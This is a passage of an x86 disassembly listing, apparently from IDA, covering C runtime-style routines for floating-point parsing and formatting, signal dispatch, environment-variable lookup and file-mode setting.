[ebp+var_10], edx ; jumptable 004254A4 case 3 loc_42557E: ; CODE XREF: sub_425441+184j cmp ds:dword_43F194, edx jle short loc_425597 movzx eax, bl push esi push eax call sub_41F735 pop ecx pop ecx push 1 pop edx jmp short loc_4255A5 ; --------------------------------------------------------------------------- loc_425597: ; CODE XREF: sub_425441+143j mov ecx, ds:off_43EF88 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4255A5: ; CODE XREF: sub_425441+154j test eax, eax jz short loc_4255C7 cmp [ebp+var_4], 19h jnb short loc_4255BF mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_4255C2 ; --------------------------------------------------------------------------- loc_4255BF: ; CODE XREF: sub_425441+16Cj inc [ebp+var_8] loc_4255C2: ; CODE XREF: sub_425441+17Cj mov bl, [edi] inc edi jmp short loc_42557E ; --------------------------------------------------------------------------- loc_4255C7: ; CODE XREF: sub_425441+166j cmp bl, ds:byte_43F198 jnz short loc_425636 loc_4255CF: ; CODE XREF: sub_425441+CCj mov eax, esi jmp loc_425498 ; --------------------------------------------------------------------------- loc_4255D6: ; CODE XREF: sub_425441+63j ; DATA XREF: seg000:off_4258E2o cmp [ebp+var_4], 0 ; jumptable 004254A4 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_4255EF loc_4255E2: ; CODE XREF: sub_425441+1ACj cmp bl, 30h jnz short loc_4255EF dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_4255E2 ; --------------------------------------------------------------------------- loc_4255EF: ; CODE XREF: sub_425441+19Fj ; sub_425441+1A4j ... cmp ds:dword_43F194, edx jle short loc_425608 movzx eax, bl push esi push eax call sub_41F735 pop ecx pop ecx push 1 pop edx jmp short loc_425616 ; --------------------------------------------------------------------------- loc_425608: ; CODE XREF: sub_425441+1B4j mov ecx, ds:off_43EF88 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425616: ; CODE XREF: sub_425441+1C5j test eax, eax jz short loc_425636 cmp [ebp+var_4], 19h jnb short loc_425631 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_425631: ; CODE XREF: sub_425441+1DDj mov bl, [edi] inc edi jmp short loc_4255EF ; --------------------------------------------------------------------------- loc_425636: ; CODE XREF: sub_425441+18Cj ; sub_425441+1D7j cmp bl, 2Bh jz loc_425549 cmp bl, 2Dh jz loc_425549 jmp loc_425522 ; --------------------------------------------------------------------------- loc_42564D: ; CODE XREF: sub_425441+63j ; DATA XREF: seg000:off_4258E2o cmp ds:dword_43F194, edx ; jumptable 004254A4 case 5 mov [ebp+var_24], edx jle short loc_425669 movzx eax, bl push esi push eax call sub_41F735 pop ecx pop ecx push 1 pop edx jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425669: ; CODE XREF: sub_425441+215j mov ecx, ds:off_43EF88 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425677: ; CODE XREF: sub_425441+226j test eax, eax jz loc_425729 mov eax, esi jmp short loc_4256DA ; --------------------------------------------------------------------------- loc_425683: ; CODE XREF: sub_425441+63j ; DATA XREF: seg000:off_4258E2o lea ecx, [edi-2] ; jumptable 004254A4 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_425693 cmp bl, 39h jle short loc_4256D7 loc_425693: ; CODE XREF: sub_425441+24Bj movsx eax, bl sub eax, 2Bh jz short loc_42570F dec eax dec eax jz short loc_425703 sub eax, 3 jnz loc_4257B7 loc_4256A8: ; CODE XREF: sub_425441+2A4j push 8 jmp short loc_425711 ; --------------------------------------------------------------------------- loc_4256AC: ; CODE XREF: sub_425441+63j ; DATA XREF: seg000:off_4258E2o mov [ebp+var_20], edx ; jumptable 004254A4 case 8 loc_4256AF: ; CODE XREF: sub_425441+276j cmp bl, 30h jnz short loc_4256B9 mov bl, [edi] inc edi jmp short loc_4256AF ; --------------------------------------------------------------------------- loc_4256B9: ; CODE XREF: sub_425441+271j cmp bl, 31h jl loc_4257B4 cmp bl, 39h jg loc_4257B4 jmp short loc_4256D7 ; --------------------------------------------------------------------------- loc_4256CD: ; CODE XREF: sub_425441+63j ; DATA XREF: seg000:off_4258E2o cmp bl, 31h ; jumptable 004254A4 case 7 jl short loc_4256E0 cmp bl, 39h jg short loc_4256E0 loc_4256D7: ; CODE XREF: sub_425441+250j ; sub_425441+28Aj push 9 loc_4256D9: ; CODE XREF: sub_425441+76j pop eax loc_4256DA: ; CODE XREF: sub_425441+240j dec edi jmp loc_425498 ; --------------------------------------------------------------------------- loc_4256E0: ; CODE XREF: sub_425441+28Fj ; sub_425441+294j cmp bl, 30h jnz short loc_425729 jmp short loc_4256A8 ; --------------------------------------------------------------------------- loc_4256E7: ; CODE XREF: sub_425441+63j ; DATA XREF: seg000:off_4258E2o cmp [ebp+arg_18], 0 ; jumptable 004254A4 case 11 jz short loc_425717 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_42570F dec eax dec eax jnz loc_4257B7 loc_425703: ; CODE XREF: sub_425441+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_425498 ; --------------------------------------------------------------------------- loc_42570F: ; CODE XREF: sub_425441+258j ; sub_425441+2B8j push 7 loc_425711: ; CODE XREF: sub_425441+85j ; sub_425441+103j ... pop eax jmp loc_425498 ; --------------------------------------------------------------------------- loc_425717: ; CODE XREF: sub_425441+2AAj push 0Ah dec edi pop eax loc_42571B: ; CODE XREF: sub_425441+5Dj ; sub_425441+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 004254A4 case 10 jz loc_4257B9 jmp loc_425498 ; --------------------------------------------------------------------------- loc_425729: ; CODE XREF: sub_425441+12Dj ; sub_425441+238j ... mov edi, [ebp+arg_8] jmp loc_4257B9 ; --------------------------------------------------------------------------- loc_425731: ; CODE XREF: sub_425441+63j ; DATA XREF: seg000:off_4258E2o mov [ebp+var_20], 1 ; jumptable 004254A4 case 9 xor esi, esi loc_42573A: ; CODE XREF: sub_425441+339j cmp ds:dword_43F194, 1 jle short loc_425752 movzx eax, bl push 4 push eax call sub_41F735 pop ecx pop ecx jmp short loc_425761 ; --------------------------------------------------------------------------- loc_425752: ; CODE XREF: sub_425441+300j mov ecx, ds:off_43EF88 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_425761: ; CODE XREF: sub_425441+30Fj test eax, eax jz short loc_425781 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_42577C mov bl, [edi] inc edi jmp short loc_42573A ; --------------------------------------------------------------------------- loc_42577C: ; CODE XREF: sub_425441+334j mov esi, 1451h loc_425781: ; CODE XREF: sub_425441+322j mov [ebp+var_1C], esi loc_425784: ; CODE XREF: sub_425441+371j cmp ds:dword_43F194, 1 jle short loc_42579C movzx eax, bl push 4 push eax call sub_41F735 pop ecx pop ecx jmp short loc_4257AB ; --------------------------------------------------------------------------- loc_42579C: ; CODE XREF: sub_425441+34Aj mov ecx, ds:off_43EF88 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_4257AB: ; CODE XREF: sub_425441+359j test eax, eax jz short loc_4257B4 mov bl, [edi] inc edi jmp short loc_425784 ; --------------------------------------------------------------------------- loc_4257B4: ; CODE XREF: sub_425441+99j ; sub_425441+E4j ... dec edi jmp short loc_4257B9 ; --------------------------------------------------------------------------- loc_4257B7: ; CODE XREF: sub_425441+261j ; sub_425441+2BCj mov edi, ecx loc_4257B9: ; CODE XREF: sub_425441+2DDj ; sub_425441+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_4258A1 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_4257E5 cmp [ebp+var_45], 5 jl short loc_4257D9 inc [ebp+var_45] loc_4257D9: ; CODE XREF: sub_425441+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_4257E8 ; --------------------------------------------------------------------------- loc_4257E5: ; CODE XREF: sub_425441+38Dj mov eax, [ebp+var_C] loc_4257E8: ; CODE XREF: sub_425441+3A2j cmp [ebp+var_4], 0 jbe loc_425897 loc_4257F2: ; CODE XREF: sub_425441+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_425800 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_4257F2 ; --------------------------------------------------------------------------- loc_425800: ; CODE XREF: sub_425441+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_42537A mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_42581F neg eax loc_42581F: ; CODE XREF: sub_425441+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_42582A add eax, [ebp+arg_10] loc_42582A: ; CODE XREF: sub_425441+3E4j cmp [ebp+var_24], ecx jnz short loc_425832 sub eax, [ebp+arg_14] loc_425832: ; CODE XREF: sub_425441+3ECj cmp eax, 1450h jle short loc_425869 mov [ebp+var_2C], 1 loc_425840: ; CODE XREF: sub_425441+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_42584C: ; CODE XREF: sub_425441+454j ; sub_425441+45Ej cmp [ebp+var_2C], 0 jz short loc_4258B2 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_4258C7 ; --------------------------------------------------------------------------- loc_425869: ; CODE XREF: sub_425441+3F6j cmp eax, 0FFFFEBB0h jge short loc_425879 mov [ebp+var_30], 1 jmp short loc_425840 ; --------------------------------------------------------------------------- loc_425879: ; CODE XREF: sub_425441+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_42602A mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_42584C ; --------------------------------------------------------------------------- loc_425897: ; CODE XREF: sub_425441+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_42584C ; --------------------------------------------------------------------------- loc_4258A1: ; CODE XREF: sub_425441+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_4258C7 ; --------------------------------------------------------------------------- loc_4258B2: ; CODE XREF: sub_425441+40Fj cmp [ebp+var_30], 0 jz short loc_4258C7 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_4258C7: ; CODE XREF: sub_425441+426j ; sub_425441+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_425441 endp ; --------------------------------------------------------------------------- off_4258E2 dd offset loc_4254AB ; DATA XREF: sub_425441+63r dd offset loc_4254FA ; jump table for switch statement dd offset loc_425551 dd offset loc_42557B dd offset loc_4255D6 dd offset loc_42564D dd offset loc_425683 dd offset loc_4256CD dd offset loc_4256AC dd offset loc_425731 dd offset loc_42571B dd offset loc_4256E7 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425912 proc near ; CODE XREF: sub_424839+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_425974 mov byte ptr [ebx+2], 2Dh jmp short loc_425978 ; --------------------------------------------------------------------------- loc_425974: ; CODE XREF: sub_425912+5Aj mov byte ptr [ebx+2], 20h loc_425978: ; CODE XREF: sub_425912+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_42599E test edi, edi jnz short loc_42599E cmp [ebp+arg_0], edi jnz short loc_42599E loc_425989: ; CODE XREF: sub_425912+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_425B9C ; --------------------------------------------------------------------------- loc_42599E: ; CODE XREF: sub_425912+6Cj ; sub_425912+70j ... cmp dx, si jnz short loc_425A1D mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_4259B7 cmp [ebp+arg_0], 0 jz short loc_4259C6 loc_4259B7: ; CODE XREF: sub_425912+9Dj test edi, 40000000h jnz short loc_4259C6 push offset a1Snan ; "1#SNAN" jmp short loc_425A0C ; --------------------------------------------------------------------------- loc_4259C6: ; CODE XREF: sub_425912+A3j ; sub_425912+ABj test cx, cx jz short loc_4259E0 cmp edi, 0C0000000h jnz short loc_4259E0 cmp [ebp+arg_0], 0 jnz short loc_425A07 push offset a1Ind ; "1#IND" jmp short loc_4259EF ; --------------------------------------------------------------------------- loc_4259E0: ; CODE XREF: sub_425912+B7j ; sub_425912+BFj cmp edi, eax jnz short loc_425A07 cmp [ebp+arg_0], 0 jnz short loc_425A07 push offset a1Inf ; "1#INF" loc_4259EF: ; CODE XREF: sub_425912+CCj lea eax, [ebx+4] push eax call sub_41C0A0 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_4259FE: ; CODE XREF: sub_425912+109j and [ebp+var_4], 0 jmp loc_425B75 ; --------------------------------------------------------------------------- loc_425A07: ; CODE XREF: sub_425912+C5j ; sub_425912+D0j ... push offset a1Qnan ; "1#QNAN" loc_425A0C: ; CODE XREF: sub_425912+B2j lea eax, [ebx+4] push eax call sub_41C0A0 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_4259FE ; --------------------------------------------------------------------------- loc_425A1D: ; CODE XREF: sub_425912+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_42602A add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_425A7E lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_425E0A pop ecx pop ecx loc_425A7E: ; CODE XREF: sub_425912+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_425A98 mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_425A9B jmp loc_425989 ; --------------------------------------------------------------------------- loc_425A98: ; CODE XREF: sub_425912+173j mov edi, [ebp+arg_C] loc_425A9B: ; CODE XREF: sub_425912+17Fj cmp edi, 15h jle short loc_425AA3 push 15h pop edi loc_425AA3: ; CODE XREF: sub_425912+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_425AB9: ; CODE XREF: sub_425912+1B4j lea eax, [ebp+var_10] push eax call sub_42531F dec [ebp+arg_14] pop ecx jnz short loc_425AB9 test esi, esi jge short loc_425AE3 neg esi and esi, 0FFh jle short loc_425AE3 loc_425AD6: ; CODE XREF: sub_425912+1CFj lea eax, [ebp+var_10] push eax call sub_42534D dec esi pop ecx jnz short loc_425AD6 loc_425AE3: ; CODE XREF: sub_425912+1B8j ; sub_425912+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_425B40 mov [ebp+arg_C], ecx loc_425AF3: ; CODE XREF: sub_425912+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_42531F lea eax, [ebp+var_10] push eax call sub_42531F lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_4252C1 lea eax, [ebp+var_10] push eax call sub_42531F mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_425AF3 mov eax, [ebp+arg_14] loc_425B40: ; CODE XREF: sub_425912+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_425B7D loc_425B4D: ; CODE XREF: sub_425912+248j cmp eax, ecx jb short loc_425B60 cmp byte ptr [eax], 39h jnz short loc_425B5C mov byte ptr [eax], 30h dec eax jmp short loc_425B4D ; --------------------------------------------------------------------------- loc_425B5C: ; CODE XREF: sub_425912+242j cmp eax, ecx jnb short loc_425B64 loc_425B60: ; CODE XREF: sub_425912+23Dj inc eax inc word ptr [ebx] loc_425B64: ; CODE XREF: sub_425912+24Cj inc byte ptr [eax] loc_425B66: ; CODE XREF: sub_425912+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_425B75: ; CODE XREF: sub_425912+F0j mov eax, [ebp+var_4] loc_425B78: ; CODE XREF: sub_425912+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_425B7D: ; CODE XREF: sub_425912+239j ; sub_425912+275j cmp eax, ecx jb short loc_425B8D cmp byte ptr [eax], 30h jnz short loc_425B89 dec eax jmp short loc_425B7D ; --------------------------------------------------------------------------- loc_425B89: ; CODE XREF: sub_425912+272j cmp eax, ecx jnb short loc_425B66 loc_425B8D: ; CODE XREF: sub_425912+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_425B9C: ; CODE XREF: sub_425912+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_425B78 sub_425912 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425BA5 proc near ; CODE XREF: sub_42277C+229Dp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_425C0C dec eax dec eax jz short loc_425BFD sub eax, 4 jz short loc_425BFD sub eax, 3 jz short loc_425BFD sub eax, 4 jz short loc_425BF0 sub eax, 6 jz short loc_425BE3 dec eax jz short loc_425BD6 or eax, 0FFFFFFFFh jmp loc_425CCE ; --------------------------------------------------------------------------- loc_425BD6: ; CODE XREF: sub_425BA5+27j mov esi, ds:dword_4DE1BC mov eax, offset dword_4DE1BC jmp short loc_425C17 ; --------------------------------------------------------------------------- loc_425BE3: ; CODE XREF: sub_425BA5+24j mov esi, ds:dword_4DE1B8 mov eax, offset dword_4DE1B8 jmp short loc_425C17 ; --------------------------------------------------------------------------- loc_425BF0: ; CODE XREF: sub_425BA5+1Fj mov esi, ds:dword_4DE1C0 mov eax, offset dword_4DE1C0 jmp short loc_425C17 ; --------------------------------------------------------------------------- loc_425BFD: ; CODE XREF: sub_425BA5+10j ; sub_425BA5+15j ... push edi call sub_425CD2 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_425C17 ; --------------------------------------------------------------------------- loc_425C0C: ; CODE XREF: sub_425BA5+Cj mov esi, ds:dword_4DE1B4 mov eax, offset dword_4DE1B4 loc_425C17: ; CODE XREF: sub_425BA5+3Cj ; sub_425BA5+49j ... cmp esi, 1 jnz short loc_425C23 xor eax, eax jmp loc_425CCE ; --------------------------------------------------------------------------- loc_425C23: ; CODE XREF: sub_425BA5+75j test esi, esi jnz short loc_425C2E push 3 call sub_41B9B2 loc_425C2E: ; CODE XREF: sub_425BA5+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_425C40 cmp edi, 0Bh jz short loc_425C40 cmp edi, 4 jnz short loc_425C66 loc_425C40: ; CODE XREF: sub_425BA5+8Fj ; sub_425BA5+94j mov ebx, ds:dword_4DDF94 and ds:dword_4DDF94, 0 cmp edi, ecx jnz short loc_425C95 mov edx, ds:dword_43F85C mov ds:dword_43F85C, 8Ch mov [ebp+arg_0], edx jmp short loc_425C69 ; --------------------------------------------------------------------------- loc_425C66: ; CODE XREF: sub_425BA5+99j mov ebx, [ebp+arg_0] loc_425C69: ; CODE XREF: sub_425BA5+BFj cmp edi, ecx jnz short loc_425C95 mov eax, ds:dword_43F850 mov ecx, ds:dword_43F854 add ecx, eax cmp eax, ecx jge short loc_425C9C lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:43F7E0h[edx*4] loc_425C8A: ; CODE XREF: sub_425BA5+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_425C8A jmp short loc_425C9C ; --------------------------------------------------------------------------- loc_425C95: ; CODE XREF: sub_425BA5+AAj ; sub_425BA5+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_425CAA loc_425C9C: ; CODE XREF: sub_425BA5+D7j ; sub_425BA5+EEj push ds:dword_43F85C push 8 call esi pop ecx pop ecx jmp short loc_425CB8 ; --------------------------------------------------------------------------- loc_425CAA: ; CODE XREF: sub_425BA5+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_425CB8 cmp edi, 4 jnz short loc_425CCB loc_425CB8: ; CODE XREF: sub_425BA5+103j ; sub_425BA5+10Cj cmp edi, 8 mov ds:dword_4DDF94, ebx jnz short loc_425CCB mov eax, [ebp+arg_0] mov ds:dword_43F85C, eax loc_425CCB: ; CODE XREF: sub_425BA5+111j ; sub_425BA5+11Cj xor eax, eax pop ebx loc_425CCE: ; CODE XREF: sub_425BA5+2Cj ; sub_425BA5+79j pop edi pop esi pop ebp retn sub_425BA5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_425CD2 proc near ; CODE XREF: sub_425BA5+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, ds:dword_43F858 cmp ds:dword_43F7DC, edx push esi mov eax, offset dword_43F7D8 jz short loc_425D00 lea esi, [ecx+ecx*2] lea esi, ds:43F7D8h[esi*4] loc_425CF4: ; CODE XREF: sub_425CD2+2Cj add eax, 0Ch cmp eax, esi jnb short loc_425D00 cmp [eax+4], edx jnz short loc_425CF4 loc_425D00: ; CODE XREF: sub_425CD2+16j ; sub_425CD2+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43F7D8h[ecx*4] cmp eax, ecx jnb short loc_425D14 cmp [eax+4], edx jz short locret_425D16 loc_425D14: ; CODE XREF: sub_425CD2+3Bj xor eax, eax locret_425D16: ; CODE XREF: sub_425CD2+40j retn sub_425CD2 endp ; =============== S U B R O U T I N E ======================================= sub_425D17 proc near ; CODE XREF: sub_424A3C+23p arg_0 = dword ptr 4 cmp ds:dword_4DF550, 0 push ebx push esi mov esi, ds:dword_4DDEDC push edi jz short loc_425D8E test esi, esi jnz short loc_425D48 cmp ds:dword_4DDEE4, esi jz short loc_425D8E call sub_4260E5 test eax, eax jnz short loc_425D8E mov esi, ds:dword_4DDEDC test esi, esi jz short loc_425D8E loc_425D48: ; CODE XREF: sub_425D17+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_425D8E push ebx call sub_41B1D0 pop ecx mov edi, eax loc_425D59: ; CODE XREF: sub_425D17+6Dj mov eax, [esi] test eax, eax jz short loc_425D8E push eax call sub_41B1D0 cmp eax, edi pop ecx jbe short loc_425D81 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_425D81 push edi push ebx push eax call sub_4260A6 add esp, 0Ch test eax, eax jz short loc_425D86 loc_425D81: ; CODE XREF: sub_425D17+51j ; sub_425D17+59j add esi, 4 jmp short loc_425D59 ; --------------------------------------------------------------------------- loc_425D86: ; CODE XREF: sub_425D17+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_425D90 ; --------------------------------------------------------------------------- loc_425D8E: ; CODE XREF: sub_425D17+10j ; sub_425D17+1Cj ... xor eax, eax loc_425D90: ; CODE XREF: sub_425D17+75j pop edi pop esi pop ebx retn sub_425D17 endp ; =============== S U B R O U T I N E ======================================= sub_425D94 proc near ; CODE XREF: seg000:004251E5p ; seg000:00425233p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, ds:dword_4DE2E0 jnb short loc_425DFB mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, ds:dword_4DE1E0[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_425DFB mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_425DD4 and cl, 7Fh jmp short loc_425DE1 ; --------------------------------------------------------------------------- loc_425DD4: ; CODE XREF: sub_425D94+39j cmp [esp+4+arg_4], 4000h jnz short loc_425DEF or cl, 80h loc_425DE1: ; CODE XREF: sub_425D94+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_425DEF: ; CODE XREF: sub_425D94+48j mov ds:dword_4DDEB4, 16h jmp short loc_425E05 ; --------------------------------------------------------------------------- loc_425DFB: ; CODE XREF: sub_425D94+Bj ; sub_425D94+27j mov ds:dword_4DDEB4, 9 loc_425E05: ; CODE XREF: sub_425D94+65j or eax, 0FFFFFFFFh pop esi retn sub_425D94 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425E0A proc near ; CODE XREF: sub_425912+165p ; sub_42602A+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_42600A cmp cx, 7FFFh jnb loc_42600A cmp dx, 0BFFDh ja loc_42600A cmp dx, 3FBFh ja short loc_425E73 xor eax, eax jmp short loc_425EAD ; --------------------------------------------------------------------------- loc_425E73: ; CODE XREF: sub_425E0A+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_425E95 inc [ebp+arg_0] test [esi+8], edx jnz short loc_425E95 xor eax, eax cmp [esi+4], eax jnz short loc_425E97 cmp [esi], eax jnz short loc_425E97 jmp loc_426004 ; --------------------------------------------------------------------------- loc_425E95: ; CODE XREF: sub_425E0A+71j ; sub_425E0A+79j xor eax, eax loc_425E97: ; CODE XREF: sub_425E0A+80j ; sub_425E0A+84j cmp cx, ax jnz short loc_425EBA inc [ebp+arg_0] test [ebx+8], edx jnz short loc_425EBA cmp [ebx+4], eax jnz short loc_425EBA cmp [ebx], eax jnz short loc_425EBA loc_425EAD: ; CODE XREF: sub_425E0A+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_426025 ; --------------------------------------------------------------------------- loc_425EBA: ; CODE XREF: sub_425E0A+90j ; sub_425E0A+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_425ECA: ; CODE XREF: sub_425E0A+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_425F1E add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_425EE6: ; CODE XREF: sub_425E0A+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_4252A0 add esp, 0Ch test eax, eax jz short loc_425F11 mov eax, [ebp+var_4] inc word ptr [eax] loc_425F11: ; CODE XREF: sub_425E0A+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_425EE6 loc_425F1E: ; CODE XREF: sub_425E0A+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_425ECA add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_425F61 loc_425F3C: ; CODE XREF: sub_425E0A+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_425F5A lea eax, [ebp+var_24] push eax call sub_42531F add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr 